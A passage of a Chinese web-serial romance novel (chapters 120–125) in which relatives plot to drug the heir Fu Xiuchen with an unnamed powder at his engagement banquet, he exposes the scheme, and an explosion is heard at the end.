“去查一下林晚辞,”他的声音在寂静的房间里显得格外冷硬,“我要知道她在欧洲的所有情况,尤其是婚姻状况。” 电话那头应下后,明燃挂断电话,将杯中剩余的酒一饮而尽。 半个小时后,手机响起。 “明总,查到了。林小姐三天前就回国了,目前住在林家的老宅。不过……”助理顿了顿,语气有些迟疑,“她的婚姻状况显示,她还没有离婚。” 明燃握着手机的手指蓦地收紧,指节泛白。 果然。 他闭了闭眼,再睁开时,眼底已是一片冰封的寒意。 “继续盯着。”他冷声吩咐,“有任何动向,随时向我汇报。” 挂断电话后,明燃站在落地窗前,望着窗外灰蒙蒙的天空,嘴角勾起一抹自嘲的弧度。 ——明明知道是陷阱,还是忍不住要往下跳。 当真可笑。 …… 魔都的冬日寒意渐深,但傅家老宅却因即将到来的订婚宴而热火朝天。 细节繁琐。 光是礼服的定制就来了三拨人,中式龙凤褂、西式婚纱、敬酒礼服…… 明嫣被摆弄着量尺寸、选面料,一站就是大半天,累得腰酸背痛。 傅修沉处理完公事回来,就看到他的小未婚妻蔫蔫地趴在客厅沙发上,像只被太阳晒化了的小猫。 他挥退佣人,走过去,温热的大手自然地覆上她的后腰,不轻不重地揉按着。 “唔……”酸胀感被恰到好处的力道缓解,明嫣舒服地哼唧了一声,把脸埋进柔软的抱枕里,声音闷闷的,“傅修沉,订婚怎么这么麻烦……” 傅修沉低笑,俯身在她耳边,气息灼热:“这就嫌麻烦了?那等到结婚怎么办?” 他指尖在她腰侧敏感处轻轻一划,带来一阵战栗,“还是说……傅太太想跳过订婚,直接跟我进洞房?” “你!”明嫣瞬间炸毛,翻身想瞪他,却被他趁机在唇上偷了个香。 “累了就不试了,让他们把图纸和样品留下,你在家里看。”他把她捞起来,抱在怀里,下巴蹭着她发顶,“你喜欢哪个就定哪个,不喜欢就让他们重做。” “哪有你这样的……” “我怎样?”傅修沉挑眉,捏着她纤细的手指把玩,“我的未婚妻,当然是怎么舒服怎么来。” 他顿了顿,语气带着点漫不经心的霸道:“反正你穿什么都好看,不穿……更好看。” 明嫣脸颊爆红,手肘往后顶他:“傅修沉!你要不要脸!” “要脸怎么追老婆?”他理直气壮,手臂收紧,将她更密实地圈在怀中,低沉的嗓音带着蛊惑,“叫声老公听听,明天我帮你搞定所有流程。” “想得美!”明嫣羞恼地在他怀里扭动,却被他镇压。 两人在沙发上笑闹作一团,一时间,仿佛空气中都弥漫着甜腻的气息…… 第121章 蛊惑投毒! 而此时的傅家后院。 傅承慧正对着一院子的名贵兰花发呆。 “小妹,好兴致啊。”傅承平踱步进去,语气听不出喜怒。 傅承慧回过神,勉强笑了笑:“二哥,你怎么来了?” “来看看你。”傅承平在她身边的石凳上坐下,目光扫过那些娇贵的兰花,意有所指,“花无百日红,人无千日好。有些东西,不争不抢,最后连片叶子都落不着。” 傅承慧眉头蹙起:“二哥,你这话是什么意思?” “我什么意思,你心里不清楚?”傅承平嗤笑一声,下巴朝主宅方向扬了扬,“看看修沉,如今可是春风得意。跃华生物上市在即,估值万亿,如今又和明家联姻,强强联手……” 他刻意停顿,观察着傅承慧骤然变白的脸色,继续慢悠悠地往下说:“明嫣那丫头要是日后生下孩子,那这偌大的傅家,里里外外,从上到下,可就真没陆凛什么事儿了。” 傅承慧猛地攥紧了手中的丝帕,指节泛白。 傅承平唉声叹气,一副忧心忡忡的模样,“我这辈子是没什么指望了,膝下也没个一儿半女,傅家怎么样,与我关系不大。可陆凛不一样啊!” 他刻意停顿,观察着傅承慧骤然紧绷的脸色,继续添火:“陆凛还那么年轻,难道你真忍心看他下半辈子,永远在傅修沉底下当个无足轻重的边缘人物?” “别说以后了,你就说说现在,说得好听是去历练,可你看看,连跃华的核心都摸不到,扔在江南那个小律所里,这算什么?” 傅承慧的心被狠狠揪紧。 是啊,她的儿子,那么优秀,凭什么要被傅修沉一直压着? 以前还能说是年纪小不定性,可现在呢? 傅修沉订婚在即,一旦日后明嫣生下孩子,傅家未来继承人的位置就更稳固了,哪里还有陆凛的立足之地? “父母之爱子,则为之计深远。”傅承平语重心长,“小妹,你得为陆凛打算打算啊!难道真要看他被边缘化一辈子?” “我……我能怎么办?” 傅承慧声音干涩,带着一丝无助的焦虑,“二哥,你帮帮我,帮帮小凛!如果……我是说如果,以后小凛真有那个造化,他一定会好好孝敬你这个舅舅的!” 傅承平眼底迅速掠过一丝得逞的精光,面上却显出几分挣扎和犹豫。 他左右看了看,确认无人,才从西装内袋里小心翼翼地拿出一个没有任何标签的透明小药瓶,里面是些许无色无味的粉末。 “小妹,二哥也是看你着急……”他压低了声音,“这是一种……特殊的药。无色无味,入水即溶。” 他顿了顿,眼神幽深地看着傅承慧:“它不会立刻致命,但会缓慢破坏人的大脑组织。初期会精神亢奋,出现幻觉,渐渐则会行为失控……甚至猝死,但是看起来就像是意外。” 傅承慧倒吸一口凉气,脸色瞬间煞白,下意识地后退半步:“二、二哥……你……你这是要……” “慌什么!”傅承平一把攥住她的手腕,“没人会让你去杀人!只要傅修沉在订婚宴上,或者之后,出现任何‘精神异常’的迹象,比如当众失态、胡言乱语,甚至只是看起来状态极不稳定……你觉得,傅家为了家族声誉,为了跃华生物的股价,会怎么做?” 傅承慧的心脏狂跳,一个答案呼之欲出。 傅承平冷笑一声,替她说了出来:“他们会立刻让他‘静养’,撤销他所有职务!一个精神有问题的人,怎么可能还担任傅家的掌舵人?到时候,为了稳定局面,老爷子必然会重新考虑人选。陆凛,就是唯一的选择!” “可……可是这药……” “放心,”傅承平将瓶子塞进她冰凉的手心,“这东西代谢极快,事后很难检测出来。就算最坏的情况,他也顶多是‘突发性脑疾’,脑血管破裂……谁能想到别处去?” 他紧紧握住傅承慧攥着瓶子的手,目光灼灼地盯着她:“机会只有一次!订婚宴上,不是有喝交杯酒的环节吗?你想办法,把药下到他的酒里。神不知,鬼不觉……为了陆凛的下半生,小妹,当断则断!” 傅承慧握着那冰凉的小药瓶,只觉得有千斤重,手抖得厉害。 恐惧和一种扭曲的野心在她心里疯狂交织。 她想起陆凛,想起他可能黯淡的未来,一股长期压抑的不甘与嫉妒,最终冲垮了她最后一丝犹豫和恐惧。 她猛地收拢手指,将那个小药瓶死死攥在掌心,指甲掐得生疼。 “我……我知道了。”她的声音带着破釜沉舟的颤抖,眼神却渐渐变得狠厉…… …… 是夜。 明家别墅。 明嫣躺在柔软的大床上,明明身体已经累极,大脑却异常清醒,毫无睡意。 窗外的月光透过纱帘,在地上投下斑驳的光影。 明天就是订婚宴了。 一切都准备就绪,完美得如同童话。 可她心里却像是揣了一只不安分的小兔子,咚咚咚地跳着,根本无法入睡。 她翻了个身,拿起床头柜上的手机,屏幕在黑暗中发出幽微的光。 指尖几乎是不受控制地点开了那个烂熟于心的号码,拨了出去。 电话只响了一声,就被接通了。 “喂?”傅修沉低沉悦耳的嗓音传来,带着夜色的微哑,像羽毛轻轻搔过心尖,“这么晚了,还没睡?” 听到他的声音,明嫣那颗悬浮不定的心,奇异地落回了一半。 她握着手机,声音不自觉地带上了点软糯的委屈:“傅修沉……我睡不着。” 电话那头沉默了一瞬,随即是他的低笑,带着了然与纵容:“紧张了?” “嗯。”明嫣老实承认,把脸埋进柔软的枕头里,闷闷地说,“有一点。” 其实不止一点。 那种感觉很难形容…… “傻姑娘。”傅修沉的语气里听不出丝毫意外,反而带着令人心安的力量,“抬头,看窗外。” 明嫣微微一怔,下意识地依言望向落地窗外的夜空。 魔都难得有这样清朗的夜,几颗星子散落在墨蓝色的天幕上,闪烁着微弱却坚定的光芒。 “看到那颗最亮的了吗?”他的声音透过电流,低沉而清晰,仿佛就贴在她的耳边。 明嫣的心猛地一跳,瞬间想起了不久前的那个夜晚,他背着她走在回家的路上,指着天空说过类似的话。 “嗯。”她轻轻应了一声。 “对着它,默数三遍我的名字。”他带着笑意的声音传来。 明嫣脸颊微热,心底那点不安却奇异地被这幼稚的举动驱散了不少。 她闭上眼,在心里默念:傅修沉,傅修沉,傅修沉。 第三遍刚落,听筒里和他低沉含笑的嗓音同时响起的,还有她卧室阳台方向传来极其轻微的“叩叩”两声。 像是……有人在敲玻璃? 明嫣猛地睁开眼,难以置信地望向阳台方向。 第122章 订婚宴 明嫣的心猛地一跳,几乎是从床上弹了起来,赤着脚几步跑到落地窗前,刷地一下拉开了厚重的窗帘。 月光如水,清晰地映出阳台外那个挺拔的身影。 傅修沉穿着一件简单的黑色衬衫,领口微敞,外面随意罩了件同色系的长款大衣,肩头似乎还沾染着室外夜露的微凉。 他单手插在裤袋里,另一只手刚刚从玻璃门上收回,正微微勾着唇角,眸色深邃地望着她,眼尾那颗朱砂痣在清冷月色下,红得惊心动魄。 明嫣赶紧拉开阳台的玻璃门,一股初冬的凉风瞬间钻了进来,激得她微微瑟缩了一下。 下一秒,她就被拥入一个带着寒气的怀抱,清冽的冷木香混合着冬夜特有的干净气息,霸道地将她包裹。 “你疯了?!”明嫣又惊又急,抬手捶了他一下,触手是他微凉的大衣布料,“这么冷的天,你翻阳台?摔下去怎么办?!” 傅修沉低低地笑,胸腔震动,手臂收得更紧。 “来给我的未婚妻送一颗定心丸。”他低头,鼻尖蹭了蹭她微凉的鼻尖,声音压得低低的,带着磁性的哑,“顺便验证一下,我的星星,是不是比阿拉丁神灯还灵验。” 明嫣看着他近在咫尺的俊脸,所有的不安和焦虑,都在这一刻,烟消云散。 心口像是被温热的蜜糖填满,又软又涨。 “笨蛋……”她小声嘟囔着,嘴角却不受控制地高高扬起,手臂环上他劲瘦的腰身,将脸埋在他微凉的颈窝。 傅修沉感受到她的依赖,眼底笑意更深,低头,吻了吻她的发顶。 明嫣心底软成一片,忽然想起什么,问道:“你怎么上来的?我房间在二楼呢。” 傅修沉挑眉,“当然是爬上来的。” “……” 明嫣想象了一下堂堂跃华生物总裁、傅家太子爷,大半夜徒手爬明家别墅围墙的画面,忍不住噗嗤笑出声来。 “笑什么?”傅修沉俯身,双手撑在她身体两侧,将她困在方寸之间,眸光暗沉地锁住她,“未来老公身手矫健,你不满意?” “满意,特别满意。”明嫣笑着伸手搂住他的脖子,主动在他唇上印下一个轻吻,“奖励你的。” 傅修沉眸色一深,显然不满足于这蜻蜓点水的一下,顺势加深了这个吻。 不同于以往的强势掠夺,这个吻温柔而缱绻,带着无尽的怜爱与安抚,细细描绘着她的唇形,耐心引导着她的回应,直到两人呼吸都变得急促,他才恋恋不舍地松开。 额头相抵,呼吸交融。 “睡吧。”他指腹轻轻摩挲着她微微红肿的唇瓣,声音沙哑,“我等你睡着了再走。” 明嫣确实有些困了,心也彻底安定下来。 她往被子里缩了缩,只露出一双亮晶晶的眼睛看着他:“那你给我讲故事。” 傅修沉失笑,屈指弹了下她的额头:“得寸进尺?” 话虽如此,他还是在她床边坐下,调整了一下姿势,让她能更舒服地躺着。 他没有讲故事,而是慢条斯理地跟她描述明天订婚宴的流程,哪些环节需要注意,哪些人可能会来打招呼,声音平稳而令人安心。 明嫣听着他低沉的声音,感受着他就在身边的温暖气息,眼皮渐渐沉重起来。 迷迷糊糊间,她感觉一个轻柔的吻落在额间,听到他极轻地说:“晚安。” 她无意识地弯起唇角,沉入梦乡。 …… 翌日,天色未明,明家别墅便已灯火通明。 订婚宴设在傅家名下的一家顶级私人庄园。 从清晨开始,便有专业的造型团队、礼服师、摄影师等陆续到位,将明嫣的房间挤得满满当当。 明嫣坐在梳妆台前,镜中的女孩,眉眼被精心勾勒,长发被盘起,露出纤长的天鹅颈。 中式礼服是手工刺绣的龙凤褂,金线银线在红色底料上穿梭,绣出繁复华丽的图案。 当明嫣最终穿戴整齐,站在巨大的落地镜前时,连她自己都有些恍惚。 镜中人,美得有些不真实。 当她收拾妥当,缓缓走下楼梯时,等候在客厅的明庭峰和明燃眼中都闪过惊艳。 明燃则走上前,伸出手臂,示意妹妹挽住。 “哥。”明嫣挽住大哥坚实的手臂,心里踏实又温暖。 明燃看着她,眼神复杂,最终只是轻轻拍了拍她的手背,“走吧,哥送你。” 而此时的傅家私人庄园今日可谓冠盖云集。 从宅门到内院,一路红毯铺地,鲜花簇拥。 沪上政商名流、各界精英悉数到场。 记者们被拦在特定区域,长枪短炮对准了这场备受瞩目的订婚盛宴。 傅老爷子一身暗红色唐装,精神矍铄,满面红光,正与几位老友谈笑风生。 而傅老夫人坐在他身旁的太师椅上,脸上虽也带着得体的浅笑,但那笑意并未深入眼底,偶尔看向入口方向时,眼底闪过一丝不易察觉的焦躁与阴沉。 傅承平穿梭在宾客中,八面玲珑,他时不时与不远处的傅承慧交换一个心照不宣的眼神。 而傅承慧今日打扮得雍容华贵,珍珠项链、钻石胸针一样不少,却掩不住眉宇间的紧绷。 她手里紧紧攥着一个精致的手拿包,指尖因为用力而微微泛白。 那里面,放着那个要命的小药瓶。 可她几次试图接近被众人簇拥着的傅修沉。 今天的傅修沉,穿着一身量身定制的黑色丝绒礼服,领口别着钻石领针,身姿挺拔,气质清绝,站在哪里都是绝对的焦点。 他正与几位商界巨头寒暄,言谈从容,气场强大。 傅承慧好不容易瞅准一个空隙,端着酒杯满脸堆笑地凑过去,“修沉,恭喜啊!小姑敬你一杯……” 她话音未落,又有新的宾客上前与傅修沉打招呼,将他的话头截断。 傅承慧举着酒杯,僵在原地,笑容几乎挂不住。 一次,两次,三次…… 每次她试图靠近,总会被各种各样的人或事打断。 不是重要的合作伙伴,就是家族长辈,或是流程安排。 眼看着订婚仪式即将正式开始,新人马上要入场,傅承慧急得后背沁出冷汗,心跳如擂鼓。 再不下手,就真的没机会了! 她目光焦急地在人群中扫视,最终,定格在宴会厅角落里的陆凛身上…… 他今天倒是难得穿了身正经的黑色西装,只是没打领带,衬衫领口随意解开两颗扣子,那头灿金色的短发依旧惹眼。 他斜靠在雕花廊柱上,低垂着头,修长的手指在手机屏幕上飞快操作,完全沉浸在自己的游戏世界里,与周围的热闹格格不入。 傅承慧深吸一口气,攥紧了手包,快步走了过去。 “阿凛!” 第123章 他喝了! 陆凛正打到关键处,头也没抬,不耐烦地“嗯”了一声。 傅承慧强压着心慌,挤出一丝笑意:“怎么一个人躲在这里打游戏?今天是你大哥的大日子,你也多去帮帮忙,跟宾客们打打招呼。” 陆凛嗤笑一声,指尖动作不停:“关我屁事。那些人假笑得脸都快僵了,看着都累。” “你这孩子……”傅承慧被他噎得心口一堵,但想到计划,只得按捺住火气,凑近些,压低声音,“阿凛,妈有件事要你帮忙。” 陆凛终于舍得从屏幕上掀了掀眼皮,瞥了她一眼:“什么事?” 傅承慧心跳更快,手心濡湿,她尽量让语气听起来自然:“一会儿仪式后,不是有喝交杯酒的环节吗?你大哥他们忙,妈想着,你这个做弟弟的,去帮他们把酒端过去,显得咱们家人亲近,也给你大哥长长脸,好不好?” 她说着,紧紧盯着陆凛的表情。 陆凛眉头蹙起,“端个酒而已,那么多侍应生,用得着我?” “那怎么能一样!” 傅承慧急忙道,“侍应生是外人,你是他弟弟,这意义不同!听话,啊?就当给你大哥大嫂一个面子……” 陆凛他烦躁地抓了抓金发,,似乎是傅承慧的话起了点作用。 “麻烦!”拇指重重按在屏幕上,结束了游戏。 “行了行了,知道了。”他收起手机,语气依旧不耐,“一会儿你叫我。” 傅承慧心头巨石瞬间落地,连忙点头:“好,好!妈到时候叫你!一定记得啊!” 她又不放心地嘱咐了一遍,这才转身走开,只是觉得后背起了一层冷汗。 陆凛看着她的背影,微微挑了挑眉。 但他也没多想,只当是她太看重这次订婚宴,想在老爷子面前表现,便又重新掏出手机,百无聊赖地划拉着…… ..…… 订婚宴上满室宾客衣香鬓影,目光却都不约而同追随着那对璧人。 傅修沉一身黑色丝绒礼服,身姿挺拔。 明嫣穿着手工刺绣的龙凤褂,金线在红底上蜿蜒出繁复纹样,颈间坠着傅老爷子送的满绿翡翠项链,更衬得肤白如雪。 “紧张?”傅修沉侧头,指尖轻轻勾住她手指。 明嫣刚要点头,就感觉他往她掌心塞了颗水果糖。 糖纸窸窣作响,她忍不住弯起眼睛:“你当哄小朋友?” “可不是。”他俯身在她耳边低语,“我家小朋友。” 她耳根一热,指尖在他掌心掐了下。 他闷笑,顺势将她手指扣得更紧。 仪式流程走得顺畅。 到敬酒环节时,明嫣跟着傅修沉先来到主桌。 傅老爷子见他们过来立刻眉开眼笑,不等敬酒就先塞给明嫣一个厚厚红包:“好孩子,以后这臭小子要是欺负你,就告诉我,我第一个打断他的腿!” 明嫣忍不住笑了笑,乖巧道谢。 轮到傅老夫人时,却见她嘴角勉强扯出弧度,指尖在茶杯上轻点两下便收回。 明嫣正要俯身,傅修沉已揽着她转向下一位。 傅老夫人的脸色顿时沉了下来。 可还没等她发作,一旁的傅承平已经笑呵呵地端着酒杯站了起来,“修沉和明小姐,哦不,现在该叫侄媳妇了!” 他爽朗一笑,“恭喜恭喜!真是郎才女貌,天作之合啊!二叔祝你们永结同心,白头偕老!” 一旁的傅承慧见状也赶忙举起杯子,脸上堆着热络的笑,手指却不自觉地捏紧了杯脚:“修沉,嫣嫣,小姑祝你们幸福美满,早生贵子!” “谢谢二叔,谢谢小姑。”明嫣礼貌地道谢。 而傅修沉唇角勾着浅淡的弧度,与他们碰杯,目光却在傅承慧紧攥着杯子有些发抖的手指上停留一瞬,随即若无其事地移开。 敬完主桌,两人又转向其他重要宾客。 傅承慧亦步亦趋地跟在附近,眼神紧紧锁着傅修沉手中的酒杯,心跳如擂鼓。 好不容易等一轮敬酒暂告段落,她立刻挤上前,“哎呀,这最重要的交杯酒还没喝呢!这可是老祖宗传下来的规矩,寓意好!新人喝交杯,长长久久嘛!” 她说着,目光急切地转向角落,扬声道:“阿凛!快,把你大哥大嫂的交杯酒端过来!” 陆凛正低头戳着手机,闻声不耐烦地‘啧’了一声,慢吞吞地放下手机。 旁边早有侍应生端着铺着红色绒布的托盘候着,上面放着两杯晶莹剔透的酒液。 陆凛瞥了一眼,伸手接过托盘,迈着长腿晃了过来,语气懒散:“喏,酒。” 傅承慧紧紧盯着陆凛手中的酒杯,尤其是傅修沉即将接过去的那一杯,心脏几乎要跳出嗓子眼,手心里全是冷汗,脸上却还得强撑着笑容。 傅修沉目光淡淡扫过递到面前的酒杯,又抬眼看了看神色紧绷的傅承慧,眸色几不可察地深了深。 他伸手接过陆凛递来的酒杯,指尖稳稳托住杯脚。 “你小子往后就是有家室的人了!”就在他接过酒杯的瞬间,傅老爷子忍不住开口道,“收收你的脾气,好好待嫣嫣,要是敢欺负她,我第一个不答应!” “嗯,知道了。” 他答得漫不经心,视线却若有似无地从傅承慧那张强装镇定的脸上掠过。 傅承慧眼见傅修沉拿着那杯酒迟迟没有喝的意思,心急如焚,忍不住再次开口催促,“爸,您话留着慢慢说,先让孩子们把交杯酒喝了,大家都等着看呢!” 傅修沉的眸光淡淡掠过傅承慧焦急的脸,唇角勾起一抹似笑非笑的弧度:“小姑倒是比我们还心急。” 傅承慧干笑两声,眼神闪烁:“这……这不是替你们高兴嘛!” 傅老爷子也笑着摆摆手:“行了行了,你小姑说得对,先把仪式走了。” 所有人的目光都聚焦在两人身上。 明嫣深吸一口气,抬起手臂,脸颊绯红如霞。 傅修沉看着她羞涩的模样,眼底笑意更深,他低声道:“别紧张。” 随即手腕绕过她的臂弯,两只酒杯缓缓靠近唇边。 傅承慧死死盯着傅修沉的手,看着他仰头…… 她几乎是屏住了呼吸,全身的血液仿佛在这一刻凝固,又在他喉结滚动,咽下那口酒的瞬间,猛地沸腾起来! 喝了! 他喝了! 成了! 第124章 这是什么? 订婚宴的气氛依旧热烈。 傅承慧却觉得每一秒都像在油锅里煎。 她脸上堆着笑,眼神却不受控制地往傅修沉那边瞟。 而此时的傅修沉正揽着明嫣周旋在宾客间,谈笑风生,眉眼间的锐利分毫未减,别说当众失态,连一丝一毫的异样都瞧不出来。 那杯加了料的交杯酒,仿佛石沉大海,连个水花都没溅起。 这……什么情况? 他怎么一点事儿都没有? 而不远处的傅承平端着酒杯,看似在与旁人寒暄,眼角的余光却同样锁在傅修沉身上。 时间一分一秒过去,他脸上的笑容渐渐有些挂不住,眉头也跟着越皱越紧。 不对劲。 他眼角余光不由得扫向不远处的傅承慧。 此时她正强笑着与一位世家太太寒暄,眼神却不住往傅修沉的方向瞟,额角沁出细汗,连粉都盖不住。 傅承平心头火起,找了个借口,一把攥住傅承慧的手腕,力道大得让她险些惊呼出声。 “跟我来。” 他几乎是拖着傅承慧,穿过觥筹交错的人群,闪进一间僻静的休息室。 门‘咔哒’一声落锁。 “怎么回事?!” 傅承平甩开她的手,脸色阴沉得能滴出水来,“这都多久了?他怎么一点事都没有?!” 傅承慧也慌了神,语无伦次:“我……我不知道啊二哥!我亲眼看着阿凛把酒端过去的,修沉他也喝了!那药……那药我按你说的,下在他那杯里了,为了保险,我……我还多加了些分量!” “加了分量?” 傅承平眉头拧成了疙瘩,“难道是药量太大,反而延迟了发作?” 他烦躁地扒了扒头发,那是他花大价钱弄来的,卖家说效果迅猛,按理说不该这样…… 只不过,他心里也没底,那药他也是第一次用,卖家只保证效果,没说具体起效时间。 难道真有延迟? “再等等,再等等看……”傅承平强自镇定,喘着粗气,“或许……或许是各人体质不同,发作慢些……你稳住,别自乱阵脚!” 傅承慧六神无主地点点头,手心冰凉。 两人又低声商议了几句,终究不敢离开太久,怕惹人怀疑,只得各自整理了下表情,一前一后推门走了出去。 休息室里重新恢复了安静。 而他们都不知道,就在休息室转角阴影里,一道高大的身影懒散地倚靠在丝绒沙发背上。 陆凛不知何时离开了宴会厅中心,躲到了这里图清静。 他指尖夹着一支未点燃的烟,有一下没一下地转动着,那头灿金色的短发在昏暗光线下依旧扎眼。 方才傅承平拉着傅承慧过来,声音压得虽低,但这休息室本就安静,断断续续的几个关键词,还是清晰地飘进了他的耳朵。 他原本漫不经心的表情渐渐凝固,转动烟支的手指停了下来。 脑海里瞬间串联起之前母亲不正常的紧张…… 一个荒谬又可怕的猜想浮上心头。 他下意识地攥紧了拳头,指节因为用力而泛出青白色,眸色沉得吓人…… …… 订婚宴接近尾声,宾客陆续散去,喧嚣渐歇。 明嫣踩着高跟鞋站了大半天,只觉得脚踝酸软,悄悄靠在傅修沉身侧,借他力道撑着。 “累了?”傅修沉揽着她的腰,低声问。 “嗯……”明嫣小声应着,眉眼间带着些许倦意。 傅修沉捏了捏她的指尖,“我让司机送你们回去。” 明嫣下意识地想要摆手,却见明家父母和大哥明燃朝这边走来。 “走吧……”明燃的视线在明嫣和傅修沉之间转了个来回,没什么表情地瞥了一眼傅修沉,“人我带走了。” 语气硬邦邦,却少了往日那点剑拔弩张。 傅修沉挑眉,难得没跟他呛声,只道:“照顾好她。” 明燃轻哼一声,算是应下。 明嫣看着自家大哥那副别扭样子,忍不住弯了弯眼睛,转向傅修沉,小声道:“那我走啦?” “嗯。”傅修沉低头,旁若无人地在她额上印下一吻,惊得明嫣脸颊飞红,下意识看向父母。 苏婉晴笑着别开眼,明庭峰轻咳一声,明燃则直接翻了个白眼,扯了扯嘴角:“腻歪。” 而回明家的车上,气氛轻松。 明嫣脱了高跟鞋,蜷在舒适的后座,长长舒了口气。 苏婉晴递过一瓶拧开的水,“喝点水,嗓子都快干了吧?” “谢谢妈。”明嫣接过,小口喝着。 明燃坐在副驾,从后视镜里瞥她,“瞧你那点出息,站半天就蔫了?” 明嫣放下水瓶,忍不住踢了下前座椅背,“哥!你就不能说点好听的?” 明燃嗤笑,“好听的留给你那未婚夫说去。” 明庭峰开口,带着点笑意:“今天场面是不小,傅家很重视。” 他顿了顿,看向女儿,“修沉这孩子,做事有章法,你以后收敛点性子,别总跟他闹。” “我哪有……”明嫣小声嘟囔,嘴角却微微上扬。 车子平稳行驶,窗外流光掠过。 明嫣放松下来,靠着母亲肩膀,有一搭没一搭地说着宴会上有趣的见闻,车内笑语浅浅。 …… 另一边,傅家庄园主宅客厅。 傅老爷子端坐主位,喝了口参茶,看向傅修沉,“今天办得不错,没出什么岔子。” 傅修沉站在一旁,神色平淡,“爷爷费心了。” “接下来就是筹备婚礼了,你这性子,收着点,别委屈了嫣儿。”老爷子嘱咐。 “我知道。” 傅老夫人坐在一旁,捻着佛珠,没说话,脸色算不上好看。 傅承平有些心神不宁,眼神闪烁,时不时瞟向傅修沉。 就在这时,傅承慧硬着头皮凑上前,脸上堆着不太自然的笑,“修沉啊,忙了一天,累不累?我看你喝了不少酒,头晕不晕?要不要让小厨房给你煮碗醒酒汤?” 她问得小心翼翼,目光却在傅修沉脸上细细扫过,试图找出任何一丝不对劲的痕迹。 傅修沉抬眸,黑沉的视线落在她身上,没什么温度,直看得傅承慧心底发毛。 他不答反问,语气听不出喜怒:“小姑今天好像特别关心我?” 傅承慧心头一跳,强笑道:“这……这不是看你应酬辛苦嘛,关心你不是应该的?” “是吗?”傅修沉忽然轻轻笑了一声,唇角勾起一抹极淡的弧度。 在傅承慧惊疑不定的目光中,他慢条斯理地从从西裤口袋里掏出一样东西。 那是一个极小巧的透明玻璃瓶,瓶身没有任何标签,里面残留着些许无色粉末。 他用指尖捏着,举到眼前,目光却锐利如刀,“既然小姑这么关心我,那能不能告诉我……” “这是什么?” 第125章 爆炸! 傅承慧脸上的血色“唰”地褪得一干二净,瞳孔骤然收缩,死死盯着傅修沉指尖那个在灯光下折射出冷光的小玻璃瓶。 不可能! 这药……这药她明明亲眼看着陆凛端过去,亲眼看着傅修沉喝下去的! 怎么会…… 她几乎是下意识地摸向自己一直紧紧攥着的手拿包——空的! 那个被她藏在夹层里的小瓶子,不见了! 一股寒气从脚底板直冲天灵盖,让她浑身冰凉,牙齿都开始不受控制地打颤。 傅修沉将她的反应尽收眼底,唇角勾起一抹冰冷又嘲讽的弧度,指尖灵活地把玩着那个小药瓶,语气轻飘飘的,却字字如刀: “小姑,这种上不得台面的小把戏,你玩一次不够,还接二连三地往我面前送?” 他顿了顿,目光落在傅承慧惨白的脸上,“这次甚至不惜借自己亲儿子的手,给我下毒……” ‘下毒’两个字像惊雷一样在寂静的客厅里炸开! 傅老爷子猛地站起身,脸色铁青,手中的紫檀木拐杖‘咚’地一声重重杵在地上。 “什……什么下毒?!”老爷子的声音因为震惊和愤怒而微微发抖,锐利如鹰隼的目光猛地射向浑身抖得像筛糠一样的傅承慧,“承慧!修沉说的是不是真的?!你……你竟然敢……” “没有!爸!我没有!他冤枉我!” 傅承慧像是被踩了尾巴的猫,尖声叫嚷起来,涕泪横流,扑通一声跪倒在地,手脚并用地爬到老爷子脚边,死死抱住他的腿,“爸!您相信我!我怎么敢做这种事?!他手里那瓶子根本不是我的!我不知道那是什么东西!” 她哭得声嘶力竭,一副受了天大委屈的模样。 傅修沉冷笑一声,“陷害你?” 他晃了晃手里的药瓶,“这上面……应该还留着指纹吧?既然小姑咬定不是你的,那也好办……” 他抬眸,视线缓缓扫过客厅里神色各异的众人,最终,若有似无地在脸色微变的傅承平身上停顿了一瞬。 “那就送去化验科,仔仔细细地验。看看这上面,除了我的指纹,到底还沾着谁的脏东西。” 这话一出,傅承平的呼吸几不可察地一窒,下意识地移开了视线,垂在身侧的手微微蜷缩了一下,额角沁出细密的冷汗。 客厅里的气氛瞬间降到了冰点,压抑得让人喘不过气。 而就在这剑拔弩张之时,一阵突兀的手机铃声打破了死寂。 是傅修沉的手机。 他蹙眉看了一眼来电显示——嫣嫣。 脸上的冰霜瞬间融化了几分,他深吸了一口气,强行压下翻涌的戾气,划开接听键,“喂?” “傅修沉……”电话那头传来明嫣带着点懊恼的嗓音,还有些不好意思,“我的包好像落在休息室了,你……你能不能帮我收好了?我明天过去拿。” “嗯,我去找,一会儿给你送过去。” “啊?不用那么麻烦……”明嫣下意识地拒绝。 “不麻烦。”傅修沉打断她,“等我。” 说完,也不等明嫣再拒绝,便干脆利落地挂断了电话。 再抬眼时,他脸上那点仅存的温和已消失殆尽,只剩下慑人的冷厉。 他扫了一眼面色各异的众人,最后目光在傅承平那张强自镇定却难掩慌乱的脸上停留一瞬,唇角勾起一抹冰冷的弧度。 “看来,今晚还有得聊。”他丢下这句话,不再理会哭嚎的傅承慧和面色阴沉的老爷子,转身,大步流星地朝外走去,背影决绝,带着一股生人勿近的肃杀之气。 …… 另一边,明家车上。 明嫣看着被挂断的电话,眨了眨眼。 “怎么了?修沉说什么?”苏婉晴关切地问。 “他说……他一会儿把我的包送过来。”明嫣老实交代。 苏婉晴闻言,和明庭峰对视一眼,忍不住噗嗤笑出声来,揶揄道:“哎哟,这还真是……一刻都分不开啊?这才分开多久?屁股还没坐热呢,就急着追过来了?别太爱了呀,修沉这孩子……” 开车的明燃从后视镜里冷冷瞥了一眼,没什么表情地扯了扯嘴角:“黏糊。” 明嫣被母亲说得脸颊发烫,小声辩解:“他是给我送包……” “是是是,送包,送包。”苏婉晴笑得见牙不见眼,显然不信。 车子很快驶到明家别墅门口停下。 明燃拉起手刹,还没开口,明嫣就抢先道:“哥,爸妈,你们先进去吧,我……我在这儿等他一下。” 苏婉晴故意叹了口气,摇头笑道:“真是女大不中留哦!行行行,我们不当电灯泡,你自己等着吧,夜里凉,别待太久。”说着,便和明庭峰下了车。 看着家人都进了屋,明嫣这才松了口气,靠在椅背上,忍不住拿出小镜子照了照,理了理有些散落的鬓发。 虽然嘴上说着不好意思,但心底那点隐秘的欢喜却像冒泡的汽水,咕嘟咕嘟地涌上来。 她降下车窗,让微凉的夜风吹散脸上的热度,眼巴巴地望着傅修沉车子可能会来的方向。 等待的时光似乎变得格外漫长,又似乎过得飞快。 就在她第N次看时间的时候—— “轰!!!” 一声惊天动地的爆炸声,毫无预兆地从远处传来! 那声音沉闷而巨大,仿佛地底有什么东西被瞬间引爆,连带着他们所在的车辆都跟着剧烈震动了一下! 明嫣被这突如其来的巨响吓得浑身一颤,心脏猛地缩紧! 她下意识地循声望去,只见远处城市的天际线方向,一团浓黑的烟雾夹杂着隐约的火光冲天而起,在夜色中显得格外刺眼! 那个方向…… 